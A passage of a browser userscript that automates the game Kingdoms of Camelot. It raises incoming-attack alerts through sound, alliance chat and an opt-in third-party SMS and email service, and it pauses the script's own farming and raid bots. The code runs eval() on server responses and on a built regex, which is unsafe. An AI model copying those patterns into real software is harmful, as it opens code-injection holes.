				if ((m.marchType == 3 || m.marchType == 4) && parseIntNan(m.arrivalTime) > now) {
					t.handleTowerData(m);

				}
			}
		}
		for (var i = 0; i < Cities.cities.length; i++) {
			var cId = Cities.cities[i].id;
			document.getElementById('pbattackqueue_' + cId).value = 'A ' + t['attackCount_' + cId] + ' | S ' + t['scoutCount_' + cId];
		}    
	},   
  
	e_soundFinished : function (chan){ // called by SWF when sound finishes playing
		var t = Tabs.tower;
		if (chan != 1)
			return;
		if (!Options.alertSound.alarmActive){
			document.getElementById('pbSoundStop').disabled = true;
		}
	},

	e_soundFileLoaded : function (chan, isError){ // called by SWF when sound file finishes loading
		if (chan != 1)
			return;
		if (isError)  
			document.getElementById('pbLoadStat').innerHTML = translate("Error")+"!";
		else
			document.getElementById('pbLoadStat').innerHTML = translate("Loaded");
	},  
  
	playSound : function (doRepeats){
		var t = Tabs.tower;
		document.getElementById('pbSoundStop').disabled = false;
		clearTimeout (t.soundStopTimer);
		clearTimeout (t.soundRepeatTimer);
		t.mss.play (1, 0);
		t.soundStopTimer = setTimeout (function(){t.mss.stop(1); t.e_soundFinished(1)}, Options.alertSound.playLength*1000);
		if (doRepeats && Options.alertSound.repeat)
			t.soundRepeatTimer = setTimeout (function (){t.playSound(true)}, Options.alertSound.repeatDelay*60000);
		else
			Options.alertSound.alarmActive = false;
	},
        
	soundTheAlert : function (){
		var t = Tabs.tower;
		Options.alertSound.alarmActive = true;
		new t.playSound(true);
	},
     
	stopSoundAlerts : function (){
		var t = Tabs.tower;
		t.mss.stop (1);
		var element = document.getElementById('towersirentab');
		if(element)
			element.parentNode.removeChild(element);
		clearTimeout (t.soundStopTimer);
		clearTimeout (t.soundRepeatTimer);
		document.getElementById('pbSoundStop').disabled = true;
		Options.alertSound.alarmActive = false;
		Options.alertSound.expireTime = 0;
	},

	newIncoming : function (m){
		var t = Tabs.tower;
		var totTroops = 0;
		for (k in m.unts){
			totTroops += Number(m.unts[k]);
		}
		if (totTroops < Options.alertConfig.minTroops){
			return;
		}
		t.postToChat (m);
		if(m.marchStatus == 9)return;
		if (Options.alertConfig.alertTR){
			if(Options.alertConfig.alertTR2) {
				if(Options.alertConfig.RecentActivity == false) {
					if(Options.alertConfig.alertTRtoff) {
						Options.SaveState.transport = Tabs.transport.traderState.running;
						if(Options.SaveState.transport)Tabs.transport.toggleTraderState();
						Options.SaveState.farm = FarmOptions.Running;
						if(Options.SaveState.farm)Tabs.farm.toggleBarbState();
						Options.SaveState.darkforest = AttackOptions.Running;
						if(Options.SaveState.darkforest)Tabs.Barb.toggleBarbState();
						Options.SaveState.crest = Options.crestRunning;
						if(Options.SaveState.crest)Tabs.Attack.toggleCrestState();
					};
					Options.SaveState.trset = Seed.throne.activeSlot;
					if(Options.alertConfig.guardian && Seed.buildings["city"+ m.toCityId].pos500 && Seed.buildings["city"+ m.toCityId].pos500[0] !=50) Options.SaveState.guardian[m.toCityId]=Seed.buildings["city"+ m.toCityId].pos500[0];
				};
				Options.alertConfig.RecentActivity = true;
				saveOptions();
			};
			var currentset = Seed.throne.activeSlot;
			if (Options.alertConfig.alertTRset != currentset){
				var preset = Options.alertConfig.alertTRset
				if(Options.alertConfig.AFK) {
					if(isAFK)Tabs.Throne.doPreset(preset);
				}else Tabs.Throne.doPreset(preset);
			}
		}
		if (Options.alertConfig.guardian){
			if(Options.alertConfig.AFK) {
				if(isAFK) if(Seed.buildings["city"+ m.toCityId].pos500 ) t.changeGuardian(m.toCityId,50);
			} else if(Seed.buildings["city"+ m.toCityId].pos500 ) t.changeGuardian(m.toCityId,50);
		}
	},
  
	oldIncoming : function () {
		var t = Tabs.tower;
		var attacker = unsafeWindow.g_js_strings.commonstr.attacker;
		var troops = unsafeWindow.g_js_strings.commonstr.troops;
		var estimatedarrival = unsafeWindow.g_js_strings.attack_generateincoming.estimatedarrival;
		var attack = unsafeWindow.g_js_strings.commonstr.attacker;
		var attacking = unsafeWindow.g_js_strings.commonstr.attacking;
		var scouting = unsafeWindow.g_js_strings.commonstr.scouting;
		var mtype = unsafeWindow.g_js_strings.modal_openRallypoint_movement.marchtype;
		var troops = unsafeWindow.g_js_strings.commonstr.troops;
		var sentfrom = unsafeWindow.g_js_strings.openEmbassy.sentfrom;
		var wilderness = unsafeWindow.g_js_strings.commonstr.wilderness;
		var barbarians = unsafeWindow.g_js_strings.commonstr.barbarians;
		var target = unsafeWindow.g_js_strings.commonstr.target;
		var fchar = Filter[Options.fchar];
		var inc = Seed.queue_atkinc;
		var msg = ':::.|';
		for(n in inc) {
			var name;
			var a = inc[n];
			if(!(a.marchType == 4||a.marchType == 3))continue;
			if(a.marchType == 3)var atype = scouting;
			else var atype = attacking;
			var to = Cities.byID[a.toCityId];
			if ( to.tileId == a.toTileId )
				name = to.name;
			else name = wilderness;
			var who;
			if (Seed.players['u'+a.pid])who = Seed.players['u'+a.pid].n;
			else if (m.players && m.players['u'+a.pid])who = m.players['u'+a.pid].n;
			else who = barbarians;
			msg+= target+': '+name+' ('+to.x+','+to.y+')| '+mtype+': '+atype+'| '+sentfrom+': '+who+'('+a.fromXCoord+','+a.fromYCoord+') ||'+troops+':|';
			for (k in a.unts){
				var uid = parseInt(k.substr (1));
				var UNTCOUNT = String(String(a.unts[k]).split("")).replace(/,/g,fchar)// forced on, sucks that some people will get the funny A, but it's better than missing values of 80085 incoming troops
				msg += UNTCOUNT +' '+ unsafeWindow.unitcost['unt'+uid][0] +', ';
			}
			msg+= '||'+estimatedarrival+': ('+ unsafeWindow.timestr(parseInt(a.arrivalTime - unixTime())) +')|| ||';
		};
		msg = msg.substring(0, Number(msg.length-5));
		sendChat ("/a "+  msg);
	},

	changeGuardian : function (cityId,guardiantype){
		var t = Tabs.tower;
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.ctrl = "Guardian";
		params.action = "summon";
		params.cityId = cityId;
		switch(guardiantype) {
			case 50:
				params.type = "wood";
				break;
			case 51:
				params.type = "ore";
				break;
			case 52:
				params.type = "food";
				break;
			case 53:
				params.type = "stone";
				break;
		}
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			onSuccess: function (rslt) {
				if (rslt.ok) {
					unsafeWindow.seed.buildings["city"+ cityId].pos500[0]=guardiantype;
				} 
			},
			onFailure: function () {
                return;
			}
		})
	},
  
	sendalert : function (m){
		var t = Tabs.tower;
		var now = unixTime();
		if (Options.celltext.atext)
			t.postToCell (m);
		if (Options.alertSound.enabled){
			t.soundTheAlert(m);
			if (m.arrivalTime > Options.alertSound.expireTime)
				Options.alertSound.expireTime = m.arrivalTime;
		}
		if (Options.alertConfig.raid){
			Tabs.Raid.StopCityRaids(m.toCityId);
			Options.alertConfig.raidautoswitch[m.toCityId] = true;
		}  
	},

	ajaxSetDefMode : function (cityId, state, notify){
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.cid = cityId;
		params.state = state;
		new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/gate.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			onSuccess: function (rslt) {
				if (rslt.ok) {
					Seed.citystats["city" + cityId].gate = state;
					notify (state);
				}
			},
			onFailure: function () {
			}
		})
	},
  
	onUnload : function (){
	},

	postToCell : function (m){
		var t = Tabs.tower;
		var data = {};
		if (m.marchType == null)      // bogus march (returning scouts)
			return;
		if (m.marchType == 3){
			if (!Options.alertConfig.scouting)
				return;
			data.atkType = 'scout';
		} else if (m.marchType == 4){
			data.atkType = 'atk';
		} else {
			return;
		}
		var city = Cities.byID[m.toCityId];
		if ( city.tileId == m.toTileId )
			data.target = 'city ('+ city.x +','+ city.y+')';
		else {
			if (!Options.alertConfig.wilds)
				return;
			data.target = 'wild';
			for (k in Seed.wilderness['city'+m.toCityId]){
				if (Seed.wilderness['city'+m.toCityId][k].tileId == m.toTileId){
					data.target += Seed.wilderness['city'+m.toCityId][k].xCoord +','+ Seed.wilderness['city'+m.toCityId][k].yCoord;
					break;
				}
			}
		}
		if (Seed.players['u'+m.pid])
			data.who = Seed.players['u'+m.pid].n;
		else if (m.players && m.players['u'+m.pid])
			data.who = m.players['u'+m.pid].n;
		else
			data.who = 'Unknown';
  
		if (m.fromXCoord)
			data.who += m.fromXCoord +','+ m.fromYCoord;
			data.arrival = unsafeWindow.timestr(parseInt(m.arrivalTime - unixTime()));

		if ( city.tileId == m.toTileId ){
			var emb = getCityBuilding(m.toCityId, 8);
			if (emb.count > 0){
				var availSlots = emb.maxLevel;
				for (k in Seed.queue_atkinc){
					if (Seed.queue_atkinc[k].marchType==2 && Seed.queue_atkinc[k].toCityId==m.toCityId && Cities.byID[Seed.queue_atkinc[k].fromCityId]==null){
						--availSlots;
					}
				}
				data.embassy = 'EMB '+ availSlots +'of'+ emb.maxLevel;
				if (t.defMode[m.toCityId] == 0 && Options.alertConfig.defend==true) {
					data.stat = 'HIDING';
				}
				if (t.defMode[m.toCityId] == 1 && Options.alertConfig.defend==true) {
					data.stat = 'DEFENDING';
				}
			}
		}
    
		var inctroops = '';
		if (Options.celltext.extended) {
			for (k in m.unts){
				var uid = parseInt(k.substr (1));
				inctroops += String(m.unts[k]) +' '+ unsafeWindow.unitcost['unt'+uid][0] +', ';
			}
		}
		inctroops = inctroops.slice (0, -2);
		data.provider = Options.celltext.provider;
		data.num1 = Options.celltext.num1;
		data.num2 = Options.celltext.num2;
		data.num3 = Options.celltext.num3;
		data.serverId = getServerId();
		data.player = Seed.player['name'];
		data.city = city.name;
		data.troops = inctroops;
		data.extended = Options.celltext.extended;
		data.pin = GlobalOptions.cellpin;

		GM_xmlhttpRequest({
			method: 'POST',
			url: http+'baos.kocscripters.com/index.php',
			headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', },
			data: implodeUrlArgs(data),
		});
	},
  
	postToChat : function (m){
		var t = Tabs.tower;
		if (DEBUG_TRACE) logit ("checkTower(): INCOMING at "+ unixTime()  +": \n"+ inspect (m, 8, 1));
		if (m.marchType == null)      // bogus march (returning scouts)
			return;
		if (ENABLE_TEST_TAB) Tabs.Test.addDiv (translate("Incoming")+"!<BR><PRE style='margin:0px;'>" + inspect (m, 8, 1) +'</pre>');
		var target, atkType, who;
		var attacker = unsafeWindow.g_js_strings.commonstr.attacker;
		var scoutingat = '';
		var attack = unsafeWindow.g_js_strings.commonstr.attacker;
		var attackrecalled = unsafeWindow.g_js_strings.incomingattack.attackrecalled;
		var troops = unsafeWindow.g_js_strings.commonstr.troops;
		var wilderness = unsafeWindow.g_js_strings.commonstr.wilderness;
		var estimatedarrival = unsafeWindow.g_js_strings.attack_generateincoming.estimatedarrival;
		var encampall = unsafeWindow.g_js_strings.openEmbassy.encampall;
		var defending = unsafeWindow.g_js_strings.commonstr.defending;
		var status = unsafeWindow.g_js_strings.commonstr.status;
		var hidesanct = unsafeWindow.g_js_strings.openCastle.hidesanct;
		var orderdefend = unsafeWindow.g_js_strings.openCastle.orderdefend;
		var technology = unsafeWindow.g_js_strings.commonstr.technology;
		var chEffect1 = {201:"Damage",202:"Bonus Damage",203:"Armor",204:"Strength",205:"Dexterity",206:"Health",207:"Hit Chance",208:"Crit Chance",209:"Block"};
		var chEff1Base = {"Damage":30,"Bonus Damage":0,"Armor":7,"Strength":27,"Dexterity":27,"Health":60,"Hit Chance":4,"Crit Chance":3,"Block":3};
		var chEffect2 = {1:"Attack",2:"Defense",3:"Life",4:"Combat Speed",5:"Range",6:"Load",7:"Accuracy",17:"Attack Debuff",18:"Defense Debufff",19:"Life Debuff",20:"Combat Speed Debuff",21:"Range Debuff",22:"Load Debuff",23:"Accuracy Debuff"};
		var chEff1Net;
		var atkType;
		if (m.marchType == 3){
			if (!Options.alertConfig.scouting)
				return;
			var scoutingat = unsafeWindow.g_js_strings.modal_messages_viewreports_view.scoutingat;
			atkType = translate('SCOUT');
		} else if (m.marchType == 4){
			atkType = translate("ATTACK");
		} else {
			return;
		}
		var city = Cities.byID[m.toCityId];
		if ( city.tileId == m.toTileId ) {
			target = unsafeWindow.g_js_strings.commonstr.city+ ' '+city.name+' ('+ city.x +','+ city.y + ')';
			if(Options.alertConfig.towercitytext[m.toCityId]) {
				target += '|'+Options.alertConfig.towercitytext[m.toCityId];
			};
		} else {
			if (!Options.alertConfig.wilds)
				return;
			target = wilderness;
			for (k in Seed.wilderness['city'+m.toCityId]){
				if (Seed.wilderness['city'+m.toCityId][k].tileId == m.toTileId){
					target += '('+ Seed.wilderness['city'+m.toCityId][k].xCoord +','+ Seed.wilderness['city'+m.toCityId][k].yCoord + ')';
					break;
				}
			}
		}
		if (Seed.players['u'+m.pid])
			who = Seed.players['u'+m.pid].n;
		else if (m.players && m.players['u'+m.pid])
			who = m.players['u'+m.pid].n;
		else
			who = translate('Unknown');
				if (m.fromXCoord)
			who += '('+ m.fromXCoord +','+ m.fromYCoord + ')';
		who += ' ('+getDiplomacy(m.aid)+')';
	
		var email = "";
		if(m.marchStatus == 9)
			msg = '.::.|'+scoutingat+' '+target+' || '+attacker+' '+ who +' || '+attackrecalled;
		else {
			msg = '..:.|'+Options.alertConfig.aPrefix +' || '+scoutingat+' '+target+' || '+attacker+' '+ who +' || '+estimatedarrival+' ('+ unsafeWindow.timestr(parseInt(m.arrivalTime - unixTime())) +')';        
			email += '<FONT color="red"><B>'+ atkType +'</font></b><BR>';
			email += '<BR>Target: ' + city.name + ' ('+ city.x +','+ city.y + ')';
			email += '<BR>Attacker: ' + who;
			email += '<BR>ETA: ' + FullDateTime(m.arrivalTime);
			email += '<BR><BR><U>Troops:</u>';		
		}	
		msg+= ' || UID: ' + m.pid;
		msg+= ' || '+troops+': ';
		var fchar = Filter[Options.fchar];
		for (k in m.unts){
			var uid = parseInt(k.substr (1));
			var UNTCOUNT = String(String(m.unts[k]).split("")).replace(/,/g,fchar)// forced on, sucks that some people will get the funny A, but it's better than missing values of 80085 incoming troops
			msg += '|'+UNTCOUNT +' '+ unsafeWindow.unitcost['unt'+uid][0] +', ';
			email += '<BR><img src="https://kabam1-a.akamaihd.net/kingdomsofcamelot/fb/e2/src/img/units/unit_'+k.slice(1)+'_30.jpg?6545"> '+m.unts[k]+ ' '+ unsafeWindow.unitcost['unt'+uid][0];
		}
		if(m.reportId) {
			setTimeout(function(){delete Seed.queue_atkinc['m'+m.reportId]},15000);//cleanup for fake tower attack
			msg += '||Report No: '+m.reportId;//added spaces for strange bug removing 2 characters
		};
		if (m.championInfo) {
			msg += ' || Champion Item Stats:';
			for (k in m.championInfo.effects[1]) {
				chEff1Net = m.championInfo.effects[1][k]-chEff1Base[chEffect1[k]];
				chEff1Net = chEff1Net.toFixed(1);
				if (chEff1Net > 0.0) msg += '|' +chEffect1[k]+ ': +' +chEff1Net+', ';
			}
			for (k in m.championInfo.effects[2])
				msg += '|' +chEffect2[k]+ ': ' +m.championInfo.effects[2][k]+', ';
		}
		//msg += '  || ';
		if(m.marchStatus != 9) {
			if ( city.tileId == m.toTileId ){
				var emb = getCityBuilding(m.toCityId, 8);
				if (emb.count == 0)
					msg += '||'+translate("My embassy has not been constructed in this kingdom.  Do not attempt to reinforce.");
				else {
					var availSlots = 0;
					for (k in Seed.queue_atkinc){
						if (Seed.queue_atkinc[k].marchType==2 && Seed.queue_atkinc[k].toCityId==m.toCityId && Cities.byID[Seed.queue_atkinc[k].fromCityId]==null) {
							availSlots++;
						}
					}
					msg += ' || '+encampall+' '+ availSlots +'/'+ emb.maxLevel +' ';
					if (t.defMode[m.toCityId] == 0 && Options.alertConfig.defend==true) {
						msg+= '||'+status+': '+hidesanct;
					}
					if (t.defMode[m.toCityId] == 1 && Options.alertConfig.defend==true) {
						msg+= '||'+status+': '+orderdefend;
					}
					msg+= '||'+technology+ ' ' + parseInt(Seed.tech.tch13)
						+ ', HP Lv'+ parseInt(Seed.tech.tch15)
						+ ', PE Lv'+ parseInt(Seed.tech.tch8)
						+ ', MA Lv'+ parseInt(Seed.tech.tch9)
						+ ', MM Lv'+ parseInt(Seed.tech.tch11)
						+ ', AH Lv'+ parseInt(Seed.tech.tch12);
				}
				var baseProtection =0;
				var totalSthPrt = 0;
				var SthPrtResearch = parseInt(Seed.tech.tch14);
				var TRStHsBoost = Math.min(equippedthronestats(89), 1250);
				if (TRStHsBoost == 0) TRStHsBoost = 1				
				var researchToApply = ((SthPrtResearch / 10) + 1);
				var TRBoostToApply = ((TRStHsBoost / 100) + 1);
				var baseValsByLevel = {1:100000,2:200000,3:300000,4:400000,5:500000,6:600000,7:700000,8:800000,9:900000,10:1000000,11:5000000,12:50000000}
				for (k in Seed.buildings['city' +city.id]) {
					if (Seed.buildings['city' +city.id][k][0] == 9) {
						baseProtection = baseValsByLevel[Seed.buildings['city' +city.id][k][1]];
					}
				}
				totalSthPrt = addCommas(parseInt((baseProtection * researchToApply) * TRBoostToApply))
				//alert(totalSthPrt);
				msg += '|| StoreHouse Protected Res = ' + totalSthPrt + ' with ' + TRStHsBoost + '% TR Boost';
				msg+= ' || March id: ' + m.mid;
			}
			new t.sendalert(m); 
		}
		if (Options.alertConfig.aChat)
			sendChat ("/a "+  msg);                          // Alliance chat
		if(Options.alertConfig.email) {
			if (Options.alertConfig.emailapp == 1) {
				koc2Mail.towerToMail(email);
			}
			else {
//				var x = window.open();
//				var y = http+"baos.kocscripters.com/kocalert/index.php?PING=1";
//				x.location=y;
				setTimeout(function(){
					var data = {};
					data.Subject ='kocalert '+getServerId()+' ';
					if(m.marchStatus == 9) data.Subject += attackrecalled;
					data.Subject += scoutingat+' '+target;
					data.Message = msg.replace(eval('/'+fchar+'/g'),'');
					GM_xmlhttpRequest({
						method: 'POST',
						url: http+'baos.kocscripters.com/kocalert/index.php',
						headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', },
						data: implodeUrlArgs(data),
					});//x.close();
				},10000);
			}	
		};
	},

	handleTowerData: function(m){
		var t = Tabs.tower;
		var now = unixTime();
		var target, atkType, who, attackermight, allianceId, allianceName, diplomacy;
		var city = Cities.byID[m.toCityId];
        
		if (DEBUG_TRACE)
			logit("checkTower(): INCOMING at " + unixTime() + ": \n" + inspect(m, 8, 1));
        
		//ATKTYPE
		if (m.marchType == 3) {
			atkType = 'scouted';
			t['scoutCount_' + m.toCityId]++;
		}	
		else
			if (m.marchType == 4) {
				atkType = 'attacked';
				t['attackCount_' + m.toCityId]++;
			}
			else {
				return;
			}
		//TARGET
		if (city.tileId == m.toTileId)
			target = 'City at ' + city.x + ',' + city.y;
		else {
			target = 'Wilderness';
			for (k in Seed.wilderness['city' + m.toCityId]) {
				if (Seed.wilderness['city' + m.toCityId][k].tileId == m.toTileId) {
					target += ' at ' + Seed.wilderness['city' + m.toCityId][k].xCoord + ',' + Seed.wilderness['city' + m.toCityId][k].yCoord;
					break;
				}
			}
		}
		//CITYNAME
		var cityName = Cities.byID[m.toCityId].name;
        
		//TROOPS
		var units = [];
		for (i = 0; i < 13; i++)
			units[i] = 0;
		for (k in m.unts) {
			var uid = parseInt(k.substr(1));
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Supply Troop')
				units[1] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Militiaman')
				units[2] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Scout')
				units[3] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Pikeman')
				units[4] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Swordsman')
				units[5] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Archer')
				units[6] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Cavalry')
				units[7] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Heavy Cavalry')
				units[8] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Supply Wagon')
				units[9] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Ballista')
				units[10] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Battering Ram')
				units[11] = m.unts[k];
			if (unsafeWindow.unitcost['unt' + uid][0] == 'Catapult')
				units[12] = m.unts[k];
		}
		//ATTACKERS INFORMATION
		if (Seed.players['u' + m.pid]) {
			who = Seed.players['u' + m.pid].n;
			attackermight = Seed.players['u' + m.pid].m;
			allianceId = Seed.players['u' + m.pid].a;
			allianceName = Seed.allianceNames[allianceId];
			diplomacy = getDiplomacy(allianceId);
		}
		else
			if (m.players && m.players['u' + m.pid]) {
				who = m.players['u' + m.pid].n;
				attackermight = parseInt(m.players['u' + m.pid].m);
				allianceId = 'a' + m.players['u' + m.pid].a;
				allianceName = Seed.allianceNames[allianceId];
				diplomacy = getDiplomacy(allianceId);
			}
			else {
				who = 'n.A.';
				attackermight = 'n.A.';
				allianceId = 'n.A.';
				allianceName = 'n.A.';
				diplomacy = 'n.A.';
			}
		//SOURCE
		if (m.fromXCoord)
			var source = m.fromXCoord + ',' + m.fromYCoord;
		else
			var source = 'n.A.';
        
		var arrivingDatetime = new Date();
		arrivingDatetime.setTime(m.arrivalTime * 1000);
		var count = t.towerMarches.length + 1;
		t.towerMarches[count] = {
			added: now,
			cityId: m.toCityId,
			target: target,
			arrival: parseIntNan(m.arrivalTime),
			atkType: atkType,
			who: who,
			attackermight: attackermight,
			allianceName: allianceName,
			diplomacy: diplomacy,
			rtime: unsafeWindow.timestr(parseInt(m.arrivalTime - unixTime())),
			arrivingDatetime: arrivingDatetime,
			source:source,
			units: units,
		};
	},
	
	showTowerIncoming: function(cityId){
		var t = Tabs.tower;
		var popTowerIncoming = null;
		var cityName = Tabs.build.getCityNameById(cityId);
        
		if (t.popTowerIncoming == null) {
			t.popTowerIncoming = new pbPopup('pbtower_' + cityId, 0, 0, 820, 500, true, function() {clearTimeout (t.timer);});
        }
		t.popTowerIncoming.show(false);
		var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbTabPad" id="pbCityTowerContent">';
		t.popTowerIncoming.getMainDiv().innerHTML = '</table></div>' + m;
		t.popTowerIncoming.getTopDiv().innerHTML = '<TD width="200px"><B>'+translate("Tower Report of")+' ' + cityName + '</b></td></td>';
		t.addCityData2Pop(cityId);
		t.popTowerIncoming.show(true);
		clearTimeout (t.timer);
		t.timer = setTimeout (function() {t.showTowerIncoming(cityId)}, 5000);        
	},
    
	addCityData2Pop: function(cityId){
		var t = Tabs.tower;
		var rownum = 0;
		var names = ['Supply', 'Mil', 'Scout', 'Pike', 'Sword', 'Archer', 'Cav', 'Heavy', 'Wagon', 'Balli', 'Ram', 'Cat'];
		enc = {};
		numSlots = 0;
		var row = document.getElementById('pbCityTowerContent').innerHTML = "";
		if (matTypeof(Seed.queue_atkinc) != 'array') {
			for (k in Seed.queue_atkinc) {
				march = Seed.queue_atkinc[k];
				if (march.marchType == 2) {
					++numSlots;
					city = march.toCityId;
					from = march.fromPlayerId;
					if (!enc[city])
						enc[city] = {};
					if (!enc[city][from])
						enc[city][from] = [];
					k = [];
					k[0] = parseInt(march.knightCombat);
					for (i = 1; i < 13; i++) {
						if (Options.encRemaining)
							k[i] = parseInt(march['unit' + i + 'Return']);
						else
							k[i] = parseInt(march['unit' + i + 'Count']);
					}
					k[14] = parseInt(march.marchStatus);
					var now = unixTime();
					k[15] = parseInt(march.destinationUnixTime) - now;
					enc[city][from].push(k);
				}
			}
		}
		var s1 = '';
		var s2 = '';
		var s3 = '';
		var tot = [];
		var atk = [];
		for (i = 0; i < 13; i++) {
			tot[i] = 0;
			atk[i] = 0;
		}

		s1 += '<STYLE> .tot{background:#f0e0f8;} .city{background:#ffffaa;} .attack{background:#FF9999;} .own{background:#66FF66;}</style>';
		s1 += '<TABLE cellspacing=0 width=100%><TR align=right><TD align=center width=16%></td>';
            
		for (k = 0; k < names.length; k++)
			s1 += '<TD width=7%><B>' + names[k] + '</b></td>';
		s1 += '</tr>';
		dest = cityId;
		if (enc[dest]) {
			for (p in enc[dest]) {
				try {
					player = Seed.players['u' + p].n;
				}
				catch (err) {
					player = '???';
				}
				for (m = 0; m < enc[dest][p].length; m++) {
					/*knight = '';
					if (enc[dest][p][m][0] > 0)
						knight = ' (' + enc[dest][p][m][0] + ')';
					*/
					status = '';
					if (enc[dest][p][m][14] == 1) {
						status = ' (' + timestr(enc[dest][p][m][15]) + ')';    
						if (enc[dest][p][m][15] < 0)
							status = ' (enc)';    
						else
							status = ' (' + timestr(enc[dest][p][m][15]) + ')';    
					}
					if (enc[dest][p][m][14] == 2) {
						status = ' (enc)';    
					}

					s1 += '<TR align=right><TD align=left class="city">' + player + status +'</td>'
					for (i = 1; i < 13; i++) {
						num = enc[dest][p][m][i];
						s1 += '<TD class="city">' + num + '</td>';
						tot[i] += num;
					}
					//s1 += '<TD><INPUT id=sendhome_' + numSlots + ' type=submit value="Home" style="border:1px solid black; background-color:red;"></td></tr>';
				}
			}
		} else {
			s1 += '<TR align=right><TD align=left class="city"><B>'+translate("Reinforcment")+':</b></td>'
			for (i = 1; i < 13; i++) {
				s1 += '<TD class="city">0</td>';
			}
		}
		s1 += '<TR align=right><TD colspan=14><BR></tr>';
		s1 += '<TR align=right><TD class="own" align=left><B>'+translate("Own Troops")+':</b></td>';
		//OWNTROOPS
		var ownTroops = "";
		for (r = 1; r < 13; r++) {
			cityString = 'city' + cityId;
			num = parseInt(Seed.units[cityString]['unt' + r]);
			s1 += '<TD class="own">' + num + '</td>';
			tot[r] += num;
		}
		s1 += '<TD class="city"></td><TR><TD colspan=14><BR></td></tr><TR align=right><TD class="tot" align=left><B>'+translate("Defenders")+':</b></td>';
		for (i = 1; i < 13; i++)
			s1 += '<TD class="tot">' + tot[i] + '</td>';      
		s3 += '</tr></table>';
        
		s3 += '<TD class="city"></td><TR><TD colspan=14><BR></td></tr><TR align=right><TD class="tot" align=left><B>'+translate("Incoming Attacks")+':</b></td>';
        
		var names = ['Supply', 'Mil', 'Scout', 'Pike', 'Sword', 'Archer', 'Cav', 'Heavy', 'Wagon', 'Balli', 'Ram', 'Cat'];
		if (t.towerMarches.length > 0) {
			for (k in t.towerMarches) {
				if (typeof t.towerMarches[k].atkType != 'undefined') {
					if (t.towerMarches[k].cityId == cityId) {
						s3 += '<TABLE cellspacing=0 width=100%><TR>';
                        
						if (t.towerMarches[k].atkType == 'attacked') {
							s3 += '<TD rowspan=2 width=5%><B><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/units/unit_4_30.jpg?6545"></b></td>';
						}
						else
							if (t.towerMarches[k].atkType == 'scouted') {
								s3 += '<TD rowspan=2 width=5%><B><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/units/unit_3_30.jpg?6545"></b></td>';
							}
						s3 += '<TD width=15%><B>'+translate("Location")+'</b></td>';
						s3 += '<TD width=15%><B>'+translate("Name")+'</b></td>';
						s3 += '<TD width=10%><B>'+translate("Source")+': </b></td><TD width=10%>' + t.towerMarches[k].source + '</td>';
						s3 += '<TD width=10%><B>'+translate("Might")+': </b></td><TD width=10%>' + t.towerMarches[k].attackermight + '</td>';
						s3 += '<TD width=10%><B>'+translate("Alliance")+': </b></td><TD width=10%>' + t.towerMarches[k].allianceName + '</td>';
						s3 += '<TD width=10%><B>'+translate("State")+': </b></td><TD width=10%>' + t.towerMarches[k].diplomacy + '</td></tr>';
						s3 += '<TR><TD width=10%  >' + t.towerMarches[k].target + '</td>';
						s3 += '<TD  >' + t.towerMarches[k].who + '</td>';
						s3 += '<TD><B>'+translate("Remaining")+': </b></td><TD width=10%>' + t.towerMarches[k].rtime + '</td>';
						s3 += '<TD><B>'+translate("Arrival")+': </b></td><TD  colspan=5 width=10%>' + t.towerMarches[k].arrivingDatetime + '</td></tr>';
						s3 += '</tr></table>';
						s3 += '<TABLE cellspacing=0 width=100%><TR align=right><TD align=left width=16%></td>';
						for (n = 0; n < names.length; n++)
							s3 += '<TD width=7%><B>' + names[n] + '</b></td>';
						s3 += '</tr><TR align=right><TD class="attack" align=left><B>Units:</td>';
						for (u = 1; u < 13; u++) {
							num = t.towerMarches[k].units[u];
							s3 += '<TD class="attack">' + num + '</td>';
							atk[u] += parseInt(num);
						}
						s3 += '</tr></table>';
					}
				}
			}
		}
		s2 += '<TR><TD colspan=14><BR></td></tr><TR align=right><TD class="attack" align=left><B>'+translate("Attackers")+':</b></td>';
		for (a = 1; a < 13; a++)
			s2 += '<TD class="attack" width=7%>' + atk[a] + '</td>';
		var html = s1 + s2 + s3;
		document.getElementById('pbCityTowerContent').innerHTML = html;
	},
    
	sendReinforcmentHome: function(){ //FUNCTION NOT IN USE YET BUT SOON :-)
		//mid, cid, fromUid, fromCid, upkeep
		var params = Object.clone(g_ajaxparams);
		params.mid = mid;
		params.cid = cid;
		params.fromUid = fromUid;
		params.fromCid = fromCid;
		new Ajax.Request(g_ajaxpath + "ajax/kickoutReinforcements.php" + g_ajaxsuffix, {
			method: "post",
			parameters: params,
			onSuccess: function(transport){
				var rslt = eval("(" + transport.responseText + ")");
				if (rslt.ok) {
					Modal.showAlert(g_js_strings.kickout_allies.troopshome);
					seed.resources["city" + currentcityid].rec1[3] = parseInt(seed.resources["city" + currentcityid].rec1[3]) - upkeep;
					if (parseInt(fromUid) == parseInt(tvuid)) {
						var curmarch = seed.queue_atkp["city" + fromCid]["m" + mid];
						var marchtime = Math.abs(parseInt(curmarch.destinationUnixTime) - parseInt(curmarch.eventUnixTime));
						curmarch.returnUnixTime = unixTime() + marchtime;
						curmarch.marchStatus = 8
					}
